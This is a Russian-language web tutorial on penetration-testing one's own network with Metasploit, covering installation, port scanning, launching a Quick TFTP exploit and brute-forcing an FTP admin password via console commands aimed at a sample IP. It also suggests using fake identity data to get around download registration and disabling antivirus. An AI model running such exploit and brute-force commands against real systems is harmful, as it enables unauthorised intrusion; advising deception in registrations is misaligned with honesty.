Обзор сети Интернет

Интернет, социальные сети, популярные сервисы, электронная почта (e-mail) и еще немного информации о web-пространстве современного мира

Главное меню

Тестирование компьютера на возможность проникновения – сделай сам шаг за шагом

Профессиональные киберпреступники взламывают компьютеры своих жертв с помощью сложных инструментов. В следующем материале мы расскажем, как их можно применить, чтобы это выглядело, как нападение на свой собственный компьютер, и, таким образом, изучить его уровень безопасности и выявить возможные уязвимости. Удалив их, вы обеспечите своему компьютеру лучшую защиту от злоумышленников.

Тестирование на проникновение – рекомендуемое программное обеспечение

Хакеры, профессионально занимающиеся преступлениями в Интернете, как правило, проводят атаки на компьютеры и сети с помощью специальных платформ разработки. Такие фреймворки содержат наборы инструментов для организации различного рода атак. В их состав входят также, так называемые, эксплойты. Это такие программы или хотя бы фрагменты кода, которые позволяют использовать для разрушительных целей уязвимости программного обеспечения.

Программисты, занимающиеся цифровой безопасностью, создали три большие фреймворка. Два из них – это коммерческие решения – Immunity и Core Security. Третье, Metasploit, было создано в 2003 году, как проект с открытым исходным кодом (open source). Первый выпуск насчитывал всего одиннадцать вредоносных кодов типа exploit. С течением времени база доступных эксплойтов выросла до более чем трёх тысяч – в основном, благодаря добровольной помощи специалистов в области безопасности.

Уже несколько лет проект Metasploit распространяется через компанию Rapid 7, которая, помимо бесплатного, предлагает две коммерческие версии – Metasploit Express и Pro. Бесплатная версия – Metasploit Community – не имеет ограничений по времени использования, но обеспечивает меньший диапазон возможностей.

Тестирование на проникновение – рекомендуемый порядок действий

Когда речь идёт о проведении атак с помощью специальных инструментов взлома, многим пользователям приходят на ум преступники, которые незаконным путем пытаются получить доступ к чужим компьютера или инфраструктуре компании. Однако, в реальности, платформы разработки, такие как Metasploit, можно применять в соответствии с законодательством. Администратор сети не нарушает законы, когда осуществляет контролируемое нападение на свою компьютерную систему с целью изучения её устойчивости.

Если вы создали в доме собственную локальную сеть, состоящую, например, с настольного компьютера, NAS-сервера и мобильных устройств, вы являетесь администратором этой сети. Поэтому вы можете, по желанию, атаковать с помощью Metasploit и другими инструментами свою инфраструктуру, чтобы проверить, достаточно ли надежно она защищена от злоумышленников и выявить возможные недостатки.

У наших западных соседей даже государственные органы рекомендуют проведение таких тестов на проникновение. Федеральное Управление IT-безопасности (BSI) опубликовало инструкцию, в которой описывает пятиступенчатую процедуру тестирования.

Шаг 1. Получение базовой информации. Сначала нужно определить, через какие IP-адреса вы можете связаться с инфраструктурой.

Шаг 2. Сканирование целевой системы. Затем следует просканировать порты в оборудовании. Таким образом, вы узнаете, какие сервисы или программы доступны с точки зрения агрессора.

Шаг 3. Выявление системы и программного обеспечения. Проведите анализ целевой инфраструктуры (например, FTP-сервера), чтобы определить или угадать версию программного обеспечения.

Шаг 4. Поиск уязвимостей. Когда известно, какие системы и приложения доступны в целевой сети, вы можете начать поиск уязвимостей.

Шаг 5. Попытка использования найденных уязвимостей. Действительная атака идёт только на последнем этапе. В худшем случае, то есть в случае успешной атаки, злоумышленнику удастся получить полный доступ к целевой инфраструктуре.

Некоторые организации распространяют инструкции, в которых предусматривают еще несколько этапов. Но, для проверки стойкости собственной инфраструктуры достаточно вышеупомянутой инструкции, состоящей из пяти этапов. Будучи системным администратором, вы должны знать, через какие IP-адреса вы можете установить контакт с вашим оборудованием.

Сервис network-tools позволяет определить IP-адрес на основе обычного URL и наоборот
Этот сервис позволяет определить IP-адрес на основе обычного URL

Тестирование на проникновение – подготовительные действия

Для проведения тестирования на проникновение методом, описанным ниже, Вам нужна платформа разработки Metasploit. Лучше всего скачать её с официального сайта коммерческого оператора Rapid 7.

Перейдите на страницу загрузки и выберите бесплатную версию Metasploit Community. Оператор захочет собрать данные от как можно большем количестве пользователей. Кроме того, он предпочитает распространять коммерческую версию Metasploit. Поэтому, перед началом загрузки, вам нужно заполнить регистрационную форму. Компания вправе распространять программное обеспечение только в пределах США. Поэтому допускается загрузка только пользователями, имеющими соответствующий адрес и номер телефона. Если принципы нравственной природы не останавливают Вас перед вводом ложных данных, вы можете воспользоваться сервисом Web-Fake Name Generator и создать фиктивную личность.

Сервис Name Generator позволяет создать фиктивный профиль пользователя из США (или другой страны)
С помощью этого сервиса вы можете создать фиктивный профиль пользователя из США (или любого другого уголка мира), содержащий даже номер телефона и одноразовый адрес электронной почты

Помните, что в строке Name set должна быть указана опция American, а в строке Country опция United States. Если вы хотите использовать одноразовый адрес электронной почты, указанный в разделе Online, нажмите на ссылку Click here to activate it! правой кнопкой мыши, а затем выберите пункт Открыть в новой вкладке. Тогда вы можете просто скопировать данные со страницы профиля, имея доступ к временному почтовому ящика на другой вкладке. Когда вы подтвердите данные, введенные в форму, Rapid 7 отправит лицензионный ключ на указанный адрес электронной почты. Хотя он не требуется для запуска бесплатной версии платформы (Metasploit Community), но предоставляет доступ к веб-интерфейсу.

Загрузка Metasploit с портала GitHub

Если вы не хотите вводить ложных персональных данных или использовать временный адрес электронной почты, вы можете скачать open-source разновидность платформы Metasploit. Доступную на сервисе GitHub. Достаточно нажать на кнопку Download ZIP, которая находится в правой части страницы. Заметим, однако, что указанной версией платформы можно управлять только из консоли командной строки.

Тестирование на проникновение – метод установки платформы Metasploit

Для того, чтобы провести пробную атаку на свою ИТ-инфраструктуру, необходимо иметь в распоряжении отдельный компьютер. Лучше всего использовать для этой цели экземпляр оснащенный независимым доступом в Интернет. Ведь тест имеет целью определить, может ли ваше оборудование быть уязвимым для атак из интернета. Если тестовый компьютер оснащен картой беспроводной локальной сети, можно создать отдельную ссылку, с помощью смартфона. Условием является предоставление, так называемого, модема через оператора сотовой сети.

Среда Linux

На сайте Metasploit доступны 32-разрядная и 64-разрядная разновидность платформы. Пользователи, которые предпочитают Linux, могут воспользоваться дистрибутивом Kali Linux. Это специальная версия Linux, разработанная с мыслью о проведении тестирования на проникновение. Содержит платформу для разработчиков Metasploit. Преимуществом этого решения является тот факт, что в системе установлены все зависимые пакеты.

Чтобы воспользоваться Metasploit в среде Kali Linux, надо вызвать сначала стартовые скрипты Init, введите следующие две команды:

sudo /etc/init.d/postgresql start

sudo /etc/init.d/metasploit start

После этого вы можете запустить консоль командой Metasploit

msfconsole

Альтернатива

Metasploit также доступен в виде виртуальной машины, которая запускается с помощью программного обеспечения для виртуализации VirtualBoxMetasploitable позволяет быстро ознакомиться с возможностями платформы разработки. Такую виртуальную машину можно запустить в VirtualBoks как из Windows, так и Linux.

Пользователи, имеющие большую сноровку в работе с Windows, могут воспользоваться Metasploit в версии, предназначенной для этой операционной системы.

Среда Windows

Провести установку платформы Metasploit в Windows помогает мастер – как и во многих других приложениях. Вы можете принять все параметры, предлагаемые установщиком. По умолчанию папка установки C:\metasploit. Мастер отобразит подсказку, что необходимо отключить антивирусную программу и брандмауэр, чтобы обеспечить правильную работу Metasploit. Платформа располагает несколькими элементами вредоносного кода, который используют некоторыми вирусы-вымогатели. Поэтому рекомендуется установить эту платформу в предназначенной только для этой цели тестовой системе, в которой нет антивируса. Если атака завершится неудачей или в то же время компьютер станет жертвой случайного агрессора, пользователь не получает никаких повреждений.

В тестовой системе не должно находиться никаких конфиденциальных данных пользователя, которые может перехватить вирус. Однако, если Вы не имеете в распоряжении отдельного компьютера, который может послужить вам для проведения такого теста, изменить настройки антивируса таким образом, чтобы он не сканировал папку C:\metasploit.

Мастер установки попросит указать порт, через который вы будете обращаться с платформы Metasploit. Вы можете принять предложение мастера (порт 3790), однако, обязательно запомните ваш выбор. Примите другие параметры, которые предложит мастер и завершите установку.

Установочный файл, размер которого достигает 185 MB, зашифрован и плотно сжат. На слабо эффективном компьютере процесс распаковки и установки может занять несколько минут. Завершите установку, нажав кнопку Finish. Тогда Вы увидите на экране диалоговое окно, а в нём сохраненную локально информационную страницу. Вы узнаете из неё, что правильный веб-интерфейс платформы Metasploit Pro защищает SSL-сертификат. Вы должны игнорировать предупреждения браузера, чтобы получить доступ к локальному серверу Metasploit. Нажмите появившуюся ссылку (например, https://localhost:790). Если вы выбрали другой номер порта, на странице появится другое число.

Команда banner откроет информационную страницу, на которой отображается количество модулей exploit, auxiliary payload доступных в текущей версии пакета Metasploit
Информационная страница отображает количество модулей exploit, auxiliary payload доступных в текущей версии пакета Metasploit

В свою очередь, Вы должны создать учетную запись на сайте Metasploit. Введите любое имя пользователя и пароль. Затем появится запрос на лицензионный ключ. Получите его по электронной почте после загрузки установочного файла. Этот ключ необходим для работы с веб-интерфейсом Metasploit, который входит в состав коммерческой платформы и предоставляет несколько полезных инструментов. Тем не менее, вы можете успешно выполнить тесты на проникновение без лицензионного ключа и упомянутого интерфейса.

В этом уроке мы расскажем вам, как выполнять отдельные действия только в текстовой консоли, так и в окне командной строки.

Команда search используется для поиска модулей в пакете Metasploit
Команда search используется для поиска модулей в пакете Metasploit

Тестирование на проникновение – консоль Metasploit

После установки платформы Metasploit, в Windows автоматически запускается браузер и открывает интерфейс коммерческой версии. Стоит, однако, ознакомиться с консолью, чтобы иметь возможность использовать любую версию данной платформы. Вызовите её, нажав на Логотип Windows | Все программы/приложения | Metasploit | Metasploit Console.

На экране появится окно командной строки. При первом запуске платформы нужно подождать некоторое время, пока включатся все сервисы. Консоль просигнализирует о готовности приема команд от пользователя, отобразив последовательность символов msf > (акроним от Мetasploit Framework). В этой консоли вводятся команды, как в окне командной строки Windows (CMD) или в библиотеке оболочки bash. Каждую команду нужно, конечно, подтверждать клавишей [Enter]. Ниже мы приводим основные команды Metasploit.

Banner – cразу после запуска консоль показывает количество доступных модулей exploit (ок. 1500), auxiliary (ок. 950) и вспомогательных (более 400). Для того, чтобы снова вызвать эту информацию, просто введите banner. Модули exploit предназначены для использования уязвимостей программного обеспечения. Модули auxiliary помогают собирать информацию о целевой системе. Самые простые средства выполняют запросы DNS, более сложные проводят простое сканирование портов, а наиболее продвинутые – это специальные сканеры (например, FTP-серверов). Под понятием модуля payload скрывается код вредителя. Это, как правило, сценарий, атакующий систему через эксплойт, например, открывает лазейку, которая позволяет получить полный контроль над системой, или собирает конфиденциальные данные и отправляет их заказчику.

Snow и Search – с помощью команды show можно вызвать список всех модулей или эксплойтов, которые доступны в установленном экземпляре Metasploit. Чтобы получить, например, обзор эксплойтов, введите show exploits. Введите команду show -h для получения дополнительных советов. Список результатов, однако, настолько обширный, что многократно превышает возможности отображения в консоли. Так что, если вы ищете конкретный эксплойт для атаки конкретной системы, лучше использовать команды search. Она поддерживает, в частности, параметры type и name. Если вы думаете, что в системе имеется уязвимость в передаче файлов через SMB (Server Message Block), вы найдете соответствующий эксплойт, введя следующую команду:

search type:exploit name:smb

Список всех параметров можно получить с помощью команды search -h.

Модули use, set и back – действие отдельных модулей Metasploit управляется с помощью различных параметров. С помощью эксплойтов можно вводить адрес системы назначения и имя вредоносного кода. В случае вспомогательных модулей вписывается адрес назначения или диапазон адресов. Например, если вы хотите указать настройку модуля, который нашли ранее с помощью команды search, примените команду use путь_модуля/название_модуля. Модули, представленные в списке результатов команды search, можно выделить с помощью мыши, а затем вставлять через меню Edit | Paste.

Наш пример поиска выбрал, в частности, exploit quick_tftp_pro_mode. Несмотря на то, что он существует с 2008 г., но классифицируется как good. Так что, если в целевой системе установлена старая версия Quick TFT, есть большая вероятность, что эксплойту удастся внедрить вредоносный код на атакуемое оборудование.

Metasploit нашёл уязвимости на FTP-серверах целевой сети
В результате поиска уязвимостей на FTP-серверах, нам удалось найти, например, код программы Quick FTP. Хотя эта уязвимость уже очень старая, есть много компьютеров без соответствующего обновления

Чтобы активировать exploit, о котором идёт речь, введите следующую команду:

use exploit/windows/tftp/quick_tftp_pro_mode

Чтобы определить, какие параметры предлагает данный модуль, вы должны использовать команду show options:

msf exploit (quick_tftp_pro_mode) > show options

Типичные аргументы, используемые в уязвимостях – это RHOST и RPORT. Первый из них – это IP-адрес атакуемой системы, второй же номер порта. Чтобы изменить значения параметров, используйте команду set значение параметра.

Список доступных параметров модуля можно вызвать командой show options
После загрузки сканирующего или атакующего модуля можно вызвать список доступных параметров команды show options

В приведенном выше примере команда может иметь следующий вид:

msf exploit (quick_tftp_pro_mode) > set RHOST 178.254.10.72

Введите back, чтобы завершить настройку модуля.

Тестирование на проникновение – получение информации

Профессиональный исследователь безопасности, осуществляет атаку на проникновение из всех возможных источников, чтобы получить основные сведения об инфраструктуре целевой аудитории. Например, применяется DNS-запросы, чтобы определить, какие IP-адреса принадлежат к URL-адресу, и какие услуги предоставляет компания.

С помощью команды set настраивают загруженный модуль
С помощью команды set настраивают загруженный модуль. Наглядный пример представляет модуль quick_tftp_pro_mode

Веб-сайты многих компаний предоставляют, например, отдельный IP-адрес, по которому доступны специальные сервисы доступа к данным для сотрудников вне офиса. Сам сайт может находиться у поставщика интернет-услуги, а услуга передачи данных может быть реализована непосредственно с собственных серверов компании.

Изучая устойчивость собственной ИТ-инфраструктуры, Вам не нужно заниматься такими вопросами. Достаточно проверить IP-адрес вашего маршрутизатора. Этот адрес указан в интерфейсе конфигурации роутера. Кроме того, вы можете проверить его с помощью портала SpeedTest (в левом нижнем углу) или портала Free BrowserCheck (поле External IP-Address).

Тестирование на проникновение – сканирование целевой системы

Анализ целевой системы сканером портов. После определения IP-адреса, вы можете проверить его на наличие открытых портов. Таким образом, вы узнаете, предоставляет ли ваша система какие-то сервисы во вне.

Для сканирования IP-адресов можно использовать, например, очень функциональный инструмент Nmap, который входит в состав пакета Metasploit. Просто введите nmap ip-адрес, чтобы получить список открытых портов. В случае портов стандартных нетрудно догадаться, какой сервис скрывается за открытым портом.

В этом примере мы проверили указанный IP-адрес с помощью сканера портов nmap
В этом примере мы проверили указанный IP-адрес с помощью сканера портов nmap. В списке открытых портов оказался порт сервера FTP

Вот пример:

msf > nmap 178.254.10.72

Исследование этого частного адреса показало, что открыт порт 21. Таким образом, можно предположить, что по указанному адресу расположен FTP-сервер. Каждый порт, который открыт, является потенциальной мишенью для атак и требует подробного аудита.

Тестирование на проникновение – поиск уязвимостей

После распознавания адресов и услуг, доступных в целевой инфраструктуре, необходимо получить более подробную информацию о нём. В этом вам помогут сканеры подверженности воздействию вредоносного кода (так называемые, уязвимости).

Это инструменты, которые ищут уязвимости программного обеспечения. Целью такой проверки является определение уязвимости, которая будет иметь влияние на целевую систему. Пакет Metasploit предоставляет множество сканеров уязвимостей для атак.

Полный список можно получить командой

msf > search type:auxiliary

Список очень обширный, но можно ограничить его с помощью параметров фильтрации. Ниже мы демонстрируем процесс сканирования на примере утилиты TCP Syn.

Сначала нужно активировать её с помощью команды use:

msf > use scanner/portscan/syn

Консоль подтвердит вызов модуля:

msf auxiliary(syn) >

Затем вызвать список доступных параметров:

msf auxiliary(syn) > show options

С помощью команды set в сочетании с параметрами RHOSTS и RPORT вы установите цель для атаки, например:

msf auxiliary(syn) > set RHOSTS 178.254.10.72

msf auxiliary(syn) > set RPORTS 20, 21

Процесс сканирования инициирует команда run:

msf auxiliary(syn) > run

Сбор информации о целевой системе и её проверка – это основные этапы теста. От результатов этих действий и полученных выводов зависит успех атаки с использованием уязвимости или другого метода.

Тестирование на проникновение – атака целевой системы

Когда вам удастся найти в системе сервис, который доступен снаружи, и таит в себе уязвимости, его можно атаковать эксплойтом из пакета Metasploit Framework.

Если предположить, что в нашем примере целевой системы (178.254.10.72) работает старая версия Quick FTP for Windows XP порт 21, можно выполнить атаки следующими командами:

msf > use exploit/windows/tftp/quick_tftp_pro_mode

msf exploit (quick_tftp_pro_mode) > set RHOST 178.254.10.72

msf exploit (quick_tftp_pro_mode) > set RPORT 21

msf exploit (quick_tftp_pro_mode) > run

Тестирование на проникновение – сканер паролей

Атакующий код эксплойта может быть очень эффективным, потому что найденная уязвимость позволяет не только преодолеть защитные барьеры целевой системы, но, кроме того, проникнуть в неё и активировать вредоносный код (payload). Однако, атаки с использованием уязвимости часто заканчиваются неудачей. Так бывает, например, в ситуации, когда вопреки предположению, в системе установлена более новая, улучшенная версия программного обеспечения. Такие случаи имеют место очень часто, потому что сканирование уязвимостей не всегда даёт надежные результаты. И даже тогда, когда удастся найти правильный exploit, система может остановить его с помощью антивирусных средств.

Более вероятной целью исследователей и киберпреступников является пароль. В больших IT-инфраструктурах пароль защищают более, чем одной системой. Кроме того, как правило, им удаётся найти учетные записи пользователей, которые не защищены длинными и сложными паролями.

Сканирование паролей

В наборе инструментов Metasploit имеется много сканеров паролей, поддерживающих различные сервисы. Учетные данные необходимы не только для запуска сеанса в среде Windows, но и для многих других услуг. Например, FTP-серверы поддерживают не только файлы для публичного скачивания. Допускается загрузка файлов для зарегистрированных и авторизованных пользователей. Их счета, хотя защищены паролем, однако, не все уделяют большое внимание вопросам безопасности. Устанавливают такие пароль как passwordasdf или test123.

Соответствующие сканеры пакета Metasploit вы найдете в каталоге scanner_login. Вы можете искать их с помощью команды:

msf > search type:auxiliary path:scanner_login

Способ сканирования паролей проиллюстрируем на примере средства ftp_login. Следующими командами загружаем модуль ftp_login, устанавливаем IP-адрес назначения, определяем атакуемый аккаунт администратора, после чего загружаем файл pass.txt. Текстовые файлы, содержащие базы паролей, доступны в интернете.

msf > use auxiliary/scanner/ftp/ftp_login

msf auxiliary (ftp_login) > set RHOSTS 178.254.10.72

msf auxiliary (ftp_login) > set USERNAME admin

msf auxiliary (ftp_login) > set PASS_File pass.txt

msf auxiliary (ftp_login) > run

Сканер проверяет последовательно все пароли, содержащиеся в указанном файле. Следует сохранить его в пределах контура пакета Metasploit (по умолчанию это каталог C:\metasploit).

Сканер паролей пытается взломать аккаунт пользователя на сервере FTP
Сканер паролей пытается взломать аккаунт пользователя на сервере FTP. На время проведения этого теста мы создали специальный файл, содежащий всего два пароля

Тестирование на проникновение – защита от атак

Платформа Metasploit позволяет использовать ещё больше модулей для сканирования удаленных систем и атаковать их через уязвимости. Многие из этих пробелов не должны быть доступно из Интернета. Если агрессор или исследователь предполагает, что на одном из компьютеров целевой сети установлена устаревшая версия редактора Word или браузера Adobe Reader, вы можете отправить пользователю зараженный документ в DOC и PDF во вложении электронной почты. Metasploit обеспечивает Вас даже инструментами для создания таких документов.

В принципе, вы можете очень легко защитить себя от атак такого рода. Устанавливайте все обновления безопасности, доступные для вашего программного обеспечения. Это касается не только Windows, но и всех приложений. Используйте в интернете только те сервисы, без которых не можете обойтись. Кроме того, необходимо использовать антивирусное программное обеспечение и регулярно обновлять сигнатуры вирусов. Хотя существуют эксплойты, которые записывают свой код только в оперативной памяти компьютера, скрывая, таким образом, себя от сканеров файлов, хорошее антивирусное приложение в состоянии обнаружить подавляющее большинство вредителей.



  • Категория:
  • Автор:
  • Рейтинг:
    5.0/1

Никто не решился оставить свой комментарий.
Будьте первым, поделитесь мнением с остальными.
avatar